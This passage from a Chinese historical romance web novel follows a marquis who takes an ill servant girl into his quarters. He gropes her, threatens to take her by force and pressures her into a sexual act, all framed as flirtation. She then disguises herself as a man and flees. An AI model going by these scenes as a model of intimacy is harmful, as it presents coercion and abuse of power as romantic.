她的汗顺流到下方的衣领处,隐隐约约的水珠很是勾人。 他沿着她的下巴往下,摸到了那滑腻的脖颈。 本就发了高热,身上衣裳也被浸湿,岂不是更不利于养病。 裴铉一双锐利的眼眸扫视一圈周围,又瞧瞧安静沉睡的人儿。 他抬手解开身前的斗篷系绳,黑色织纹镶嵌金边的斗篷甚是厚实保暖。 裴铉掀开被子,露出她穿着里衣弱小蜷缩的身躯。 他一把将斗篷披在她身上,接着一卷将整个人横抱在怀里。 宁泠先是睡得很沉,厚礼迷迷糊糊感觉到有人进来了。 但身子甚是疲惫,连眼皮都抬不起。 身体忽然的腾空感,吓得她猛地一下睁开眼眸。 对上了裴铉那张无可挑剔的俊脸。 他很是满意地点头,语气带笑:“竟然还醒了,看来还有得救。” 宁泠在他怀里拼命挣扎:“你在做什么?放我下来。” 裴铉故意将她抛在上空颠了颠,吓唬她:“马上要摔下来咯。” 以前身体健康的宁泠面对裴铉就没有半分反抗之意,更别提如今。 本就头昏不适的宁泠,被他几番捉弄后,身体的不适加重,声音都有气无力:“侯爷若是想戏弄消遣人,能否去找别人?” 裴铉闻言不悦,低头看向她,一张小小可怜的脸蛋,更加惨白,尤其眼眶红肿,瞧着像是哭了。 “好了,好了,不逗你了。” 啧,真是娇气。 宁泠见他抱着自己离开杂物间,惊呼:“侯爷要带奴婢去哪?” 又顿了顿继续:“眼下奴婢发了高热怕传染了侯爷,还请侯爷保重健康,速速离去。” “又开始糊弄我了?”裴铉似笑非笑地睨了一眼宁泠,“心里又开始偷摸摸盘算着怎么躲我了。” 宁泠闭口不敢继续说话。 裴铉单手环住宁泠的细腰,另一只手捏了捏她消瘦的脸颊:“既然知道病了,就随我回争晖院好好养病。” 这丫头年纪小,性子犟。 他何可与她逞一时口快,冷眼瞧她将自个折腾得人不人鬼不鬼的,害得他也日日心里不痛快。 他裴铉何曾受过这种窝囊气,天天憋在心头。 既然心里记挂,那必定要弄到手。 至于什么清白失贞,他裴铉何时是那般畏畏缩缩,只想着过去的人? 难道他还比不过那区区孟氏?只要人弄到了眼皮子地下,有得是时间和手段让她彻底忘记他。 宁泠一听他意已决,知道她如何再费口舌也是无用的了。 随着他抱动走路的晃动,她头晕得更加厉害。 裴铉见她紧蹙眉头,面色惨白,用宽大的手掌轻轻按在她后脑勺处,让她脸颊靠在他胸膛处。 “眯一会。”裴铉放轻走路时的动作,“一会就到了争晖院了。” 裴铉从杂物间抱着人出来,经过浣衣局院子时,众人都不可思议地睁开双眼。 感受到外界的注视,宁泠缩瑟在他怀里。 将自己脸蛋全部遮住,不肯透露半分。 “想被剜眼了?”裴铉嘴角上扬,扫视众人,“派个人去门口守着林韦德,让太医到了去争晖院。” 吓得众人赶紧低头,柳姑姑听了后半句忙派人小跑过去,等出了浣衣局。 他嗓音带着悦耳的笑意哄道:“出来吧, 放心这儿没人了。” 还真像只小乌龟,平时对他张牙舞爪,现在却只知道缩在壳里,尤其躲在自己怀里还有点可爱。 宁泠现在头晕心里又着急,或许是因为生病情绪敏感。 她控制不住眼泪,像上午一样哗啦啦地流着。 带着炙热的湿意很快浸湿了裴铉的胸膛。 “委屈了?”裴铉打趣道,“不是自己置气要去浣衣局吗?” 宁泠不想理他这个烦人精,明明是他污蔑在先,如今错处倒成了自己,强词夺理。 怀里的泪水流个不停,滚烫的热意在冬季快速散开,只剩下刺骨的冷意附着在他胸膛上。 裴铉心里平白无故生出几分恼意。 宁泠似要将心里的委屈都通通哭个痛快,才肯善罢甘休。 裴铉知她生病了,以前他听说人生病了会变得娇气,他还不以为然,如今深以为然。 “别哭了。”裴铉放缓语气,“马上太医到了,喝一碗药睡了就好。” 偏偏怀里的人没有一点回应,只有泉水似源源不断的泪水。 第一次他抱着她也是去争晖院,那时候他心急,却是心猿意马。 奇怪的是现在半分那点心思都没了,只想着赶快回去。 幸好裴铉即使怀里抱着人,也没影响走路的速度。 回了争晖院,紫叶瞧见人后,虽是眼眸震惊,但还是有条不絮地安排好一切。 接着她就带着人退出了内室,只余下他们两人。 裴铉动作轻柔地将人放在床榻上,见她将脑袋捂在斗篷下。 他抓住斗篷一角要掀开,里面的人使劲抓着不放。 “哭了那么久,还不闷?”裴铉控制着力道去揭斗篷怕伤了她。 宁泠身体虚弱,路上又哭了许久,感觉疲惫得很。 几息时间就被裴铉掀开了斗篷,她讲手掌摊开遮挡在眼睛上,不肯见他。 裴铉现在才有功夫好好看那双手,以前她的手白皙细嫩,手指修长纤细,现在上面有了不少粗茧,密密麻麻的小伤口遍布在手上,一双手红肿得厉害。 他伸手握住那只手,她身上发着高热,刚才抱着她像抱着小炭炉,这双手却是冰冰凉凉。 裴铉的心像是倏地被蜜蜂蛰了一下。 他用脸盆拿出温热的手帕,坐在她身边。 给她擦拭着脸上的肌肤:“哭了这么久,脸上黏黏糊糊不擦擦?” 宁泠是心动的,但不想他看见这番模样,他那张喝了毒药的恶嘴定要嘲讽她。 见她固执地不肯听话,裴铉也不恼。 “你的力气能敌过我?”他慢条斯理地继续擦着脸。 宁泠丧气了,放下手露出一双红肿似水蜜桃的眼睛。 眼眶眼眸都红的厉害,瞧着可怜极了。 眼尾那抹嫣红,却凭添几分妩媚。 “你欺负人!”宁泠心里不服气,恶狠狠瞪了他一眼。 美人风情一嗔,裴铉心痒痒了。 “当初执意要去的是你。”裴铉的指腹游走在她柔软的脸蛋上,“后面赌气不肯回的也是你,现在我不还是来接你了。” 裴铉泛情的桃花眼收敛锋芒后,带着蛊惑人心的魅力。 “以后你就在这儿安心住下。” 宁泠心里最担心的事情还是发生了,她语气坚决:“之前是你不相信我,我不可能再继续待在这。” “究竟是单纯因为这件事。”裴铉稍稍停顿,又意有所指“还是你趁机找借口堵我,你应该心知肚明。” “说来说去,花瓶一事还是我的错。”宁泠没有想到原来之前自己的心思早就被裴铉猜透,打算胡搅蛮缠耗尽他的耐心。 倏地,宁泠沉思时额头上落下冰凉温柔的吻。 裴铉附在她耳畔:“是我的错,宁泠想怎么罚我呢?” 他口吻着带着不正经和挑逗,轻而易举地认了错。 屋外的林韦德带着太医候在外面,总觉得现在这个时机不太合适进入。 宁泠心里只有一个念头,逃! 他姿态强硬地带她回了争晖院,与她言谈间亲密无间,又肯低头哄她,早已将她视为囊中之物了。 第27章 第27章【VIP】 宁泠急得直咳嗽,裴铉轻抚着她的背。 林韦德在门外大声喊道:“侯爷,太医已经到了。” “那就滚进来。”裴铉语气不善,林韦德何时变得如此磨磨唧唧。 太医的年纪大约在中年,长得还算端正,面色严肃。 宁泠自觉地伸出手腕等待把脉,裴铉的视线在她和太医之间来回扫视。 又幽幽地盯着宁泠皓白纤细的手腕,接着裴铉扯过一方干净的手帕搭在她的手腕处。 “请吧。”裴铉对着太医轻抬下巴示意。 太医未觉有何不妥,宫里的贵人牵线问诊也是常事。 宁泠对着那方手帕皱眉,心里很是不喜。 太医把脉后很快写下方子,这病乃是常见风寒,刚才已经吃过一副,大为缓解。 他对着裴铉一副欲言又止的模样。 裴铉:“太医有话不妨直说。” 他最不喜这副遮遮掩掩的模样,还不如干脆深埋心里。 “姑娘的高热并不严重,虽然可能会反复,但只要准时服药即可退去。”太医迟疑道,“只是她身体寒气过重,恐以后子嗣有碍。” 他瞧着侯爷对这姑娘很是喜爱,不让也不可能急匆匆地从宫里请人来问诊。 可眼下这姑娘一瞧便知不是锦衣玉食,金尊玉贵养着的人。 他怕说话犯了侯爷忌讳,又唯恐落下一个医术不佳的骂名。 “好好调理,可否无碍?”裴铉的视线落在宁泠的脸,消瘦惨白。 太医点点头:“只要用心调理上几个月,应该无碍。” 裴铉轻笑:“有劳了。” 林韦德适时地递上厚礼,领着太医退了下去。 宁泠听见刚才太医的话,心里并无任何感触。 若是万不得已成了通房,一辈子无法生育倒成了一件好事。 “宁泠,在想如何惩罚我吗?”裴铉宽大有力地手掌笼罩在她头顶。 宁泠虚弱地笑笑:“侯爷说笑了,小小奴婢那里有这能耐。” 裴铉蹲下身子,视线与她持平:“这次是我不对,宁泠心里有气也是应该的,往后我会好好补偿你的。” 宁泠浓密如蝶翼的睫毛颤颤巍巍:“那侯爷能不让我做通房吗?我不想为奴为妾。” 裴铉刚才温柔的笑容倏地淡了下来,眸子阴沉得很。 “你还想回浣衣局?”他嗓音带着威胁。 宁泠没有犹豫地点点头。 裴铉的手掐着她的下巴:“都这样了还想回去?不怕死在哪?就这么厌恶我?” 他每说出一个问句,气氛就越发压抑窒息。 宁泠神情倔强,眼眸坚定:“我不怕。” 裴铉冷漠无情,阴晴不定,以捉弄他人为乐,更是是非不分,难道不该厌恶他? 宁泠以为她的回答会再一次惹怒他。 却听见一道好听的轻笑,很轻柔。 她诧异地看向他,注视着他英俊带笑的面容。 “你再厌恶我,又能怎样?”裴铉拉近与她的距离,两人几乎面碰面,“还不是只能任我处置,哪怕我现在强占了你,你又能怎样?” 他掐着她尖尖下巴的手松开,手顺着纤细的脖颈一路向下,摸到她凹凸精致的锁骨。 他很是新奇地一遍遍摩挲它的形状:“说不定你越是挣扎哭泣,越能激发我的兴趣呢。” 宁泠被他这番无耻言论气到浑身发抖,咳嗽连连:“你卑鄙、无耻、下流!” 裴铉一点都不动怒,甚至一脸享受,还赞同地频频点头。 “你说得不错,我记下了。”他的笑容更加灿烂,“以后我会全部做到的,尤其是下流。” 他说到最后两个字的手,手顺势而下,宽大的手掌盈盈一握,宁泠浑身僵硬,连呼吸都忘记了。 “果然还是太瘦了些。”裴铉的神情似有些不满足。 宁泠又气又羞,咳嗽地声音响起:“你、你手拿出来!” 裴铉闻言先是松手,宁泠刚舒一口气,接着他又五指并拢,甚至还坏心思地用手指在尖上画着圈。 宁泠气地满脸通红 ,眼里蓄满亮晶晶的泪珠,一双眼眸看起来美极了,很是灵气。 “喏,看见没?”裴铉坏笑,“这才是下流。” 宁泠的咳嗽声止不下来,身子虚弱地问下滑。 裴铉立刻抽手扶住她,一边给她抚摸后背止咳,一边给她盖好被子。 他再是畜生,也不会在她生病时碰她。 现在都这副要死不活的虚弱样,来真的估计小命不保。 不过吓唬吓唬她,免得那张看起来可口的小嘴,总是出口伤人。 外面紫叶敲门提醒:“侯爷,药好了。” “进。” 紫叶端着药靠近床榻,弯腰舀起药汤打算喂宁泠。 宁泠皱着眉头尝了一口,眉皱着更离开,一张小脸可爱地囧在一起。 裴铉又得了乐子,接过药碗:“你退下。” 紫叶依言照做,没想到侯爷对宁泠如此上心。 宁泠一下子看穿他的阴谋诡计:“我自己喝。” 她急切地伸手想要夺过药碗,生怕像之前被迫吃青梅。 裴铉身手敏捷地躲过,接着不紧不慢地舀起一勺药汤:“乖,快趁热喝了。” “一勺一勺冷得快。”宁泠拒绝,“不如给我一饮而尽。” “既然刚才说我卑鄙无耻,那怎能让你事事如意?”裴铉将药汤递至她嘴边。 明明是温柔体贴的举动,偏偏却有一副她不喝,就压着她灌进去的压迫。 宁泠没有办法,她在裴铉这里从来没有反抗的能力。 他一勺一勺地喂着,她一口一口地喝着。 宁泠觉得越喝越苦,心里越想越难受,一滴眼泪从眼眶里决堤而出。 小小的水花声响起,眼泪滴落在哪一勺黝黑发苦的药汤里。 “怎么喝个药还哭了。”裴铉放下药汤,拂去她的眼泪。 越来越多的眼泪留下,宁泠嗓子沙哑控诉:“你只会欺负我。” 裴铉竟忽然感到一点良心不安的愧疚,退一步道:“不喂你了,自己喝行了吧。” 宁泠不搭理他,室内只有低低的哭泣声。 裴铉有些心烦气躁:“那你说,怎样才行?” “我想消了奴籍。”宁泠小心翼翼地看他一眼,又低头,“你既铁了心让我做你的通房,那可以给我一个清白身吗?” 裴铉挑眉,没想到她忽然回说到这。 “为奴为妾,我以后怎么见我爹娘。”宁泠伸手牵住他一根手指,轻轻摇晃,“消了奴籍,以后我不是奴婢了,你就不能再罚我去浣衣局了。” 裴铉眯眼,难得见她有低头做小的一天。 嘴里慢悠悠道:“我何时真罚你浣衣局了,是你置气执意去的。” 当初她去浣衣局那阵势,真是八头牛都拉不回来的模样,枉费当天他回来还等了她许久。 宁泠委屈地哭诉道:“刚才你还愿意认错受罚,现在又变了,果然是哄我戏弄我。” 她情绪激动地说着,眼泪掉落着越多,一颗颗砸在裴铉手上。 “我知自己身份卑贱,以后你还会有不少新人。”宁泠哭得梨花带雨,“给我个清白之身,我以后也不怕人嘲笑了。” 裴铉狐疑地注视着宁泠,先前还是宁死不从的模样,现在怎么死心塌地,还担心以后失宠嘲笑了? “又打什么坏主意?”他轻轻敲了下她脑袋。 “我不愿做你通房,你偏要霸王硬上弓。”宁泠面露气愤,“我如今只能愿意了,你又开始犯疑心病了,怎样侯爷都不满意,都要对我鸡蛋里挑骨头。” 裴铉被她逗笑了:“我就问了你一句,你倒是有一筐子话对付我。” “既然侯爷不肯放我走,能否承诺我以后好生对我,哪怕以后正室进门,也能有我安身立命之处?”宁泠眼含期待。 见她终于肯松了口,裴铉将她揽入怀中:“只要你从此一心一意待我,必不让旁人欺负了你。” “那侯爷能否让我亲自去消奴籍了?”宁泠补充,“我还想着去挑选些新衣裳,届时穿给你看,再挑选一壶好酒。” 宁泠不好意思地低头,声如蚊呐:“这样也算是洞房花烛了。” 裴铉懂了她意思,无非想着好生置办一番,不是潦草过去。 “你身子虚弱,需要静养,不如还是要林韦德去消奴籍?”裴铉面露沉思,“况且侯府的绣娘比外好得多,何苦在外费力?” “这也不行,那也不行,反正只能一切侯爷说了算。”宁泠赌气地侧开脸,不肯再说话。 裴铉有些不喜,她得寸进尺。 安静没多久的内室,又开始响起抽噎的哭泣声。 压抑的哭泣声,时不时伴随着咳嗽声。 一副伤心欲绝的模样,衬得裴铉好似绝情之人。 “你是不是怕给我花银子?”那边轻飘飘来了一句。 裴铉瞳孔倏地放大:“你什么意思?” “就是怕我出门逛街买衣裳买酒,用了你的家产。”宁泠一副越分析越有道理的模样,“原来,你只想把银子留给以后妻子花,所以才不肯让我出门的。” 裴铉被她胡说八道的话,气得太阳穴的青筋都突突跳。 “你是不是觉得我无理取闹、胡搅蛮缠?”宁泠委屈地哭着,一字一句都带着哭腔。 “我答应你去。”裴铉无奈地揉了揉太阳穴。 再不答应她,估计又想出什么法来。 “想去可以,先乖乖养好身体。”裴铉看了看她满脸的泪水,拿起帕子擦拭,“否则一切免谈。” 宁泠眼泪顿时收住,喜笑颜开:“侯爷,你派林韦德跟着我吧,我一个人不敢出去,旁人我不熟悉。” 裴铉心里的一点疑心被打消,既然肯主动要求人跟随,估计也掀不起什么大浪。 “好,你先安心养病。” 宁泠点点头,她自然是要养好身子,不然怎么逃跑? 第28章 第28章【VIP】 宁泠见目的达成,也懒得与他多费口舌。 端起药碗一饮而尽,接着就神色恹恹,昏昏欲睡的模样。 裴铉为她撤下靠枕,见她小脸恬静地睡着了。 他用手腹点了点她娇俏的鼻尖,如今这般,似乎也不错。 三日后裴铉早朝后,本打算打道回府,看看养着的小哭包身体恢复没。 一位拿着拂尘的太监拦路:“侯爷,皇上有请。” 裴铉并不意外,甚至还有些赞叹这位新皇的耐心。 他原以为请了太医一两日内,皇上就会召见他。 没想到竟能按捺到如今。 金碧辉煌、雕龙画柱的宫殿内,坐着一位年纪稍小,稚气未脱的帝王。 听见通报后他对着裴铉笑笑:“堂兄来了。” 裴铉并不以兄长宗亲论,而是安分守己地先行礼。 “不知皇上召微臣前来,所为何事?”裴铉笑着问道。 “堂兄总是这般客气。”新帝无奈笑笑,“只是近日听说堂兄火急火燎从宫里请了太医,还是给一位小娘子诊病,咱们两兄弟闲聊几句罢了。” “只是我府上的一位通房罢了。”裴铉直接点名宁泠身份,“没想到此事惊动了您。” “堂兄年纪也不小,怎还不娶妻生子?”新帝顺着话题向下聊。 “臣洒脱随性惯了,那过得了受人约束,天天着家的日子。”裴铉一脸感叹。 他心里却冷笑,要是他真娶了朝中那位重臣之女,恐怕这位夜不能寐了。 “有时朕也羡慕堂兄,自由自在。”新帝面色为难,“唉,要是谁都能像堂兄一般,不结党营私就好了。” 裴铉听出他的言外之意:“皇上,可是有什么烦心事,微臣愿效犬马之劳。” 新皇面露欣喜:“自朕登基以来,国库空虚,朕日夜为此烦恼。” “国库空虚,的确是急需解决之事。”裴铉十分认同,“待微臣回去想想有什么好法子,再上奏折。” 裴铉心里暗骂新皇虚伪,有什么来银子最快的事情呢? 那自然是抄家,顺势铲除异己,银子不就像那水流滔滔不绝了。 要说朝野上下,门阀势力众多,幕僚数不胜数之人,忠国公是当之无愧第一人。 忠国 公几代传承,家财万贯。 而且新皇尚且年幼,膝下无子。 忠国公可是虎视眈眈,新皇式微,每每见了他都低一头。 他还想到新皇有如此魄力,敢拿忠国公开刀。 两人秘密商谈许久,直到宫门将要关闭,裴铉才离宫归家。 裴铉回到争晖院后,径直去了偏房。 之前他命人将偏房干扫干净,让宁泠住了进去。 偏房向来都是通房居住的地方,离主子的主卧不过几步之遥。 他进门时,宁泠才沐浴洗发完,拿着干帕子绞着头发。 几日精心调理,她气色好了不少,只是身体还羸弱得很。 此刻她乖乖跪坐在绯色软塌上,侧着身子拢着头发。 因她体寒怕冷,室内的几处角落里已经烧着上好的银丝碳。 暖意遍布室内,她穿着单薄,一件藕粉色的衣裳随意系着,几缕湿漉漉的头发缠在白皙纤细的脖颈上。 裴铉眸色发暗,喉结滚动。 他静静伫立在门旁,忽然回想起那日她沐浴被他撞见的场景。 冰肌玉骨,水上芙蓉。 又倏地想起几日前手掌处包裹着的温热,他一手便可全部握住。 他的视线愈发凝实,宁泠感觉如芒在背。 回头一瞥见他脸上欲望纵生,她吓了一跳,期期艾艾:“侯、侯爷。” 裴铉散漫一笑,朝着她走来。 宁泠赶紧低头整理衣裳,神情局促不安。 走得近了,裴铉的视线更加危险。 离得近了,才发现发梢处滴落的水珠都落在衣裳上,藕粉浅色的布料被浸湿。 似有似无的朦胧感遮挡了布料。 裴铉的手捻着布料,有些手痒想痛痛快快地撕开,满足私欲。 他瞥了眼她的脸色,灵动的脸上布满粉霞。 他的手绕到她的后颈处,摩挲着那块嫩肉。 “侯爷,你答应了我消了奴籍后,才会”宁泠手指不安地搅动着衣角,说话的声音越来越小。 “才会什么?”裴铉笑着追问,“你不说,我怎么知道?” 明明他是笑着,可给宁泠的压迫感越来越重,她呼吸都急促起来,感觉自己后脖被他磨得发疼。 “今日先成了,明日去补,又有什么区别?”裴铉眼眸晦暗不明,嗓音带笑地哄骗她。 “今日侯爷能说话不算数。”宁泠摇摇头,“那承诺的以后也是不作数的。” 裴铉知她认死理,脾气犟,不欲与她争辩。 只一手拉过她小小的手掌,覆盖在其上:“那现在它怎么办?” 感受到手下的坚硬挺拔,吓得宁泠手赶紧移开。 可裴铉的手将她的小手牢牢禁锢:“总要给它些甜头吧。” 宁泠手足无措,脸上红得像发了高热,她结结巴巴:“那、那怎么办?” 裴铉让她跨、坐于自己身上,他双手环住她的腰,额头碰着她温热的额头,小声地与她说道。 宁泠听了惊慌地避开他的眼神,连连摇头:“这不行。” “那也有其他办法。”裴铉坏笑,“端看宁泠愿不愿意了。” 宁泠羞得眼眸紧闭,思考一番后,咬牙道:“那我去熄灯。” 她实在没有勇气看它。 裴铉怎肯:“害怕?闭上眼睛就成了。” 他还想看她呢,现在这副羞愤欲死的样子,可爱极了。 宁泠抵不过他,只能依言照做。 足足磨蹭了半个时辰,磨得她手心发红,手腕发酸。 他懒散倚靠在椅背上,一手带动着她,又一遍蛊惑:“它开心了,明日就让林韦德陪你去消奴籍。” 再憋下去,他也担心自己会患上不治之症。 事后他看着她颤巍巍的睫羽,轻轻吻在她眼眸,叹喟道:“真乖。” 翌日一早林韦德就候在争晖院,珍珠伺候着宁泠洗漱。 自上次被他抱回后,他就让珍珠成了她的小丫鬟。 让紫叶重新去挑选些贴身丫鬟。 宁泠不动声色地挑选昂贵的首饰:“今日可要把我打扮的漂漂亮亮。” 这些首饰都是以后可以变卖为银子,维持生计的。 珍珠兴致勃勃地为她簪发:“今日是姐姐的好日子,我知道。” 宁泠淡淡一笑,好日子吗?并不见得,如今也只有奋力一搏了。 正打算出门时,紫叶来了。 “紫叶姐姐有什么事情吗?”宁泠忐忑不安,她担心裴铉出尔反尔,或者察觉到了什么。 紫叶笑着将一沓银票递上:“侯爷今日有事,一早就出了门,出门前还特意嘱咐我送银票。” “哇,好多啊。”珍珠神情惊讶,“侯爷对宁泠姐姐真好。” 看着约莫有一千两,只是出门逛街,就如此大手笔。 宁泠笑着接下,心里猜测他到底是因为之前自己嘲讽他不舍得花银子,还是昨夜的辛苦费。 总之,千辛万苦、费尽心机得来的银子她不会舍弃,都是她以后谋生的积蓄。 “谢谢紫叶姐姐。”宁泠礼貌道谢,“时候不早了,我就先出门了。” 紫叶看着宁泠今日打扮甚是华丽,不似以往喜绿绦绑发,簪着一对雕花金簪,一根珍珠步摇,锁骨处也吊着一颗宝石项链。 整个人妍丽动人,浓桃艳李。 “姐姐,记得回来给我带东西啊。”珍珠俏皮地眨着眼睛。 宁泠点点头。 林韦德候在外面,见她出来后跟在身后:“马车已经准备好,宁姑娘请。” 宁泠点头,她知道自己逃跑成功后,必须有个人承受裴铉的怒意。 她思来想去,林韦德显然最合适。 而且她也没有忘记当初珍珠耳饰,他告密一事。 思及此,宁泠不自在地摸了摸自己的耳眼,因着在浣衣局长久未曾佩戴耳饰,耳眼已经完全愈合,几乎看不见任何痕迹了。 这也算是一件意料之外的好事,以后穿男装也不必担心太扎眼。 宁泠上了马车,林韦德在前方驾马。 很快就到了办公的地方,林韦德做事向来稳妥,早在出发之前就派人通知了户籍吏。 户籍吏约莫三十多岁,正当壮年,身量不高,长得瘦弱。 “林大人,此等小事何必劳烦你亲自来。”户籍吏一脸讨好,“若有下次,告知下官一声,下官将文书送过去。” 林韦德:“不必麻烦,现在办了就行。” 他说话间,宁泠带着斗笠下了马车,素白的纱遮住了她容貌。 户籍吏心里震惊,那家姑娘能让林大人充当马夫? “劳烦大人带路。”林韦德嗓门有些大,惊醒了出神的户籍吏。 他连忙引路将两人请去了安静的厢房,林韦德将准备好的东西交给他。 户籍吏手脚麻利地写着文书,盖公章。 一炷香的时间,一切就完成了。 宁泠全程安静地注视着过程,没想到自己心心念念盼望已久的事情,这么快就解决了。 权力果然是个好东西。 “林大人,能给我吗?”宁泠眼睛一眨不眨地盯着自己清白的户籍,以后她再不是奴了。 林韦德犹豫几息,侯爷并未告知他,户籍是交给宁姑娘,还是带回交与侯爷。 “侯爷,既然答应我来,莫非还不愿给我?”宁泠的气势足了几分。 林韦德想了想,还是将手中的东西给了宁泠,侯爷并未明说,想来也是这个意思。 两人回到了马车,宁泠坐在轿厢内,欣喜激动地摸着户籍,声音却很是平静:“劳烦林大人,带我去上次那个衣庄。” “是。”这些侯爷都交代过,林韦德依言照做。 马车内的宁泠,脑海里一遍遍地盘算着自己的计划,成败在此一举。 第29章 第29章【VIP】 快到衣布庄时,宁泠看见路边有一家酒铺,酒味香醇,生意热闹。 “林大人,不如在这停放马车。”宁泠问道:“我瞧着前方拥堵,估计马车进不去。刚好我们去买一壶好酒。” 林韦德老实憨厚,没有提出异议。 他当保镖跟在宁泠身后,这家酒铺看起来整洁明亮。 里面的小二,一瞧两位就是贵客。 “二位买什么?”小二热情介绍,“各类果酒、烈酒,咱们这儿应有尽有。” 宁泠思考了会: “那些酒男女都可喝?” 一般女子偏爱果酒,不易醉人。 “咱们这有上好的桂花酒,每年采摘最好的桂花酿造而成,男女老少都适宜。”小二卖力地推荐。 林韦德在身后未吭声,依他看,这些酒都比不少府里酒窖里的。 只是他知侯爷依着宁泠,他也不好开口。 “那就它了。”宁泠爽快答道。 反正这酒她也喝不上,只是掩人耳目罢了。 林韦德闻言去付银子结账,宁泠诧异地看了他一眼。 她以为紫叶给她的银子,就是为这些花销买单的。 待林韦德给小二说好马车停放后,见宁泠还是一副不解模样。 在她身边低声道:“出门前,侯爷特意叮嘱我,出门后主动结账,万不可让姑娘去。” 宁泠捂嘴偷笑,知道那天激裴铉奏效了,如此甚好,她也舍不得为他花银子。 两人接着步行前往布庄。 布庄的布置陈设还是与之前一样,或许是因为冬季,临近过年门庭若市,热闹非凡。 宁泠依旧带着斗笠,这里不少女子都是如此打扮。 她一进门,候着的娘子涌上来:“不知姑娘想要买些什么呢?” “我想买几身衣裳。”宁泠说出需求,“须得精致漂亮,一般的就不必拿出来。” 吴娘子欣喜若狂,这一听就是贵人大客户啊。 她热络道:“外面挤得很,里面有上好包厢,里面燃着上好的炭,温暖得很,姑娘不如进去慢慢选?” 宁泠看向林韦德点点头。 林韦德上次已经陪她来过一次,自觉地走向了另一个休息的地方。 宁泠心里稍稍松了一口气:“有劳带路。” 吴娘子将人领进包厢后,连忙喊小丫鬟将上好的衣裳都送进来。 吴娘子拿起衣裳一件件地为宁泠讲解,宁泠大致看了看,随手点了一件。 她接着问道:“这里可有我这般身形的男装,若有拿出来看看,我也只要好的。” 吴娘子神色懵了下。 “我有一弟弟,身形与我相当。”宁泠神情羞恼,“我本答应亲手为他做一件衣裳,做他的生辰之礼的,奈何手拙。” 吴娘子神色了然,她就好奇大户人家养的绣娘手巧得很,那里会愿意来买成衣呢? 原来是这姑娘女红不佳,想着偷偷偷龙换凤。 只要有钱谁都想赚,吴娘子小声道:“姑娘放心,我去给你悄悄拿来。” 宁泠点点头。 吴娘子知她不想被别人知晓此事,女裙下裹着不少男子衣袍拿来。 宁泠试了几件,买了两身。 一件是月白色长袍,穿在她身上衬得她似个读书人,很是秀气。 另一件是深蓝色,穿上后像个富贵人家的纨绔子弟。 两件衣袍她特意选择的高领,遮住了喉结的位置。 将三件衣裳全部结账后,宁泠装作身体不适道:“我在这稍稍休息一会,你先去忙。” 吴娘子刚挣了一笔银子,心情大好,她关心体贴道:“姑娘那里不适?可要我们去通知家人?” 宁泠那敢,连忙摇头:“许是在外久了冻着了,在这缓缓就行。” 吴娘子看了下她脸色,放下心来,就离开了包厢。 等她走后,宁泠迅速换上男子的衣袍,挽好头发。 将首饰之物一一收捡好。 本来女装男装,该用裹胸布才稳妥的,可是她没机会寻得。 幸好在浣衣局也算因祸得福,瘦的几乎一马平川。 尤其在稍显臃肿的冬装掩饰下,这点问题可以忽略不计。 至于头发,还是她骗珍珠,说想为裴铉束发才学会的。 换好衣服后,宁泠不敢耽搁,立刻朝着后院走去。 走至后院,看见停放马车的地方,宁泠不知东西跨院。 看见有喂马的仆人,她前去询问。 等终于从西门离开后,宁泠看着外面的天空,不知怎的想流泪。 她用衣角擦擦眼泪,接着赶去寻找入住的地方了。 客栈一事她早就想过,觉得不可行。 入住客栈,每位客人都要一一登记,她的户籍信息一旦暴露,裴铉顺藤摸瓜不出一日就会逮住它。 宁泠特意从西跨院的门出来,她选择此地有许多原因。 她不熟悉地形,没有路引,连码头车行在那都不知道。 她打算花些重金,在附近租房子,毕竟烟花柳巷,说不定能不用户籍登记。 消息最灵通的地方,往往是人群聚集之地。 她记得小时候大人们就爱在茶楼里喝茶聊天看戏,那里也有很多商贩。 宁泠在路边的摊贩处随意买了一个饼,她的风寒还没痊愈,嗓子带着点沙哑,分不清男女。 “大哥,附近可有歇脚喝茶的地方?”宁泠一边啃着烧饼,一边问道。 做饼的大哥看了眼宁泠,以为是哪家的读书郎君出来游玩。 他手上还沾着面粉:“沿着这条路,接着左拐,你就能看见了。” 宁泠点点头后离开。 她沿路去寻,果然找到一家茶楼。 茶楼有两层楼,一楼大厅内基本座无虚席,许多人在那,忙着店小二添茶倒水,脚不沾地。 宁泠进去寻了一个空位,随意点了一壶茶。 趁着跑堂的茶博士前来沏茶时,宁泠随意地拿出碎银子放在桌上:“不知小哥知道,这附近那里租房合适?” 茶博士笑呵呵地拿走银子:“小的认识几个相熟的房牙子,不知郎君的需求是什么?” 宁泠:“只是租一处闲暇玩乐之地,我不想太过于声张。” 她又拿出一块银子放在桌子上。 茶博士嘿嘿地笑了声,瞧着这位郎君是个正经的读书人,没想到脑筋都用在这上面了。 这里靠近花街柳市,所谓玩乐不过是狎、妓。 文人墨客向来又自视清高,多半不喜那糟乱之处。 干脆自己租房,醉生梦死。 “家中管教甚严,签字画押不能用我名。”宁泠提出最重要的一条,他看了眼犯难的茶博士,“事成之后,必有重谢。” 茶博士猜他多半已有家室,要防着人。 可是不用自己户籍签字画押,签订契约,可是一件极难的事情。 要冒着很大风险,他又掂了掂手中银两,现在都这么大方,事成之后岂不是更赚一大笔。 “小的尽力而为。”他咬咬牙,说完话跑了出去。 宁泠心急如焚地等着,她只给茶博士一炷香的功夫,若是不成或是没有消息,她就速速离开。 布庄内,林韦德深深皱眉,人都进去了一个时辰,怎么还不出来? 他把守在门口处的位置,确保她没有出来。 他心里有了一种不详的预感,拉住一位跑堂的人问道:“刚才穿着一身绿衣,带斗笠的姑娘怎么还不出来?” 他的形容太简略,符合描述的人太多了。 林韦德找来管事,拿出晋阳侯府的令牌,找出接待宁泠的吴娘子。 “跟你进去的姑娘呢?”他凶神恶煞地问道。 吴娘子对林韦德有印象,背着一把大刀,吓人得很。 “那位姑娘买好衣裳后,就说她身体不适,想多待一会,让我先出去。”吴娘子老老实实地回答。 林韦德立马要求吴娘子带他去包厢。 按理说内室处还有不少女子,男子是不得擅入的。 林韦德不再废话,直接拔出大刀,横在吴娘子脖子上:“想活命就带我去。” 旁边的管事的也吓得浑身发抖,吴娘子更是六神无主;“是,是。” 等到了包厢,林韦德顾不得许多,一脚踹开门。 里面早没有身影。 “这里是不是还有其他出口?”林韦德追问。 吴娘子吓得眼泪鼻涕直流:“是有,后院有东西跨院,有两个门分别出入。” 林韦德内心震惊,他竟不知宁泠何时有了这想法。 “你同刚才的姑娘说了什么?做了什么?” 吴娘子哭喊道:“那姑娘子买了套裙子,两套男子的衣裳就没了。” 之前林韦德还心存侥幸认为她可能迷路了,但听到了男装后,他就明白了,宁泠她逃了! 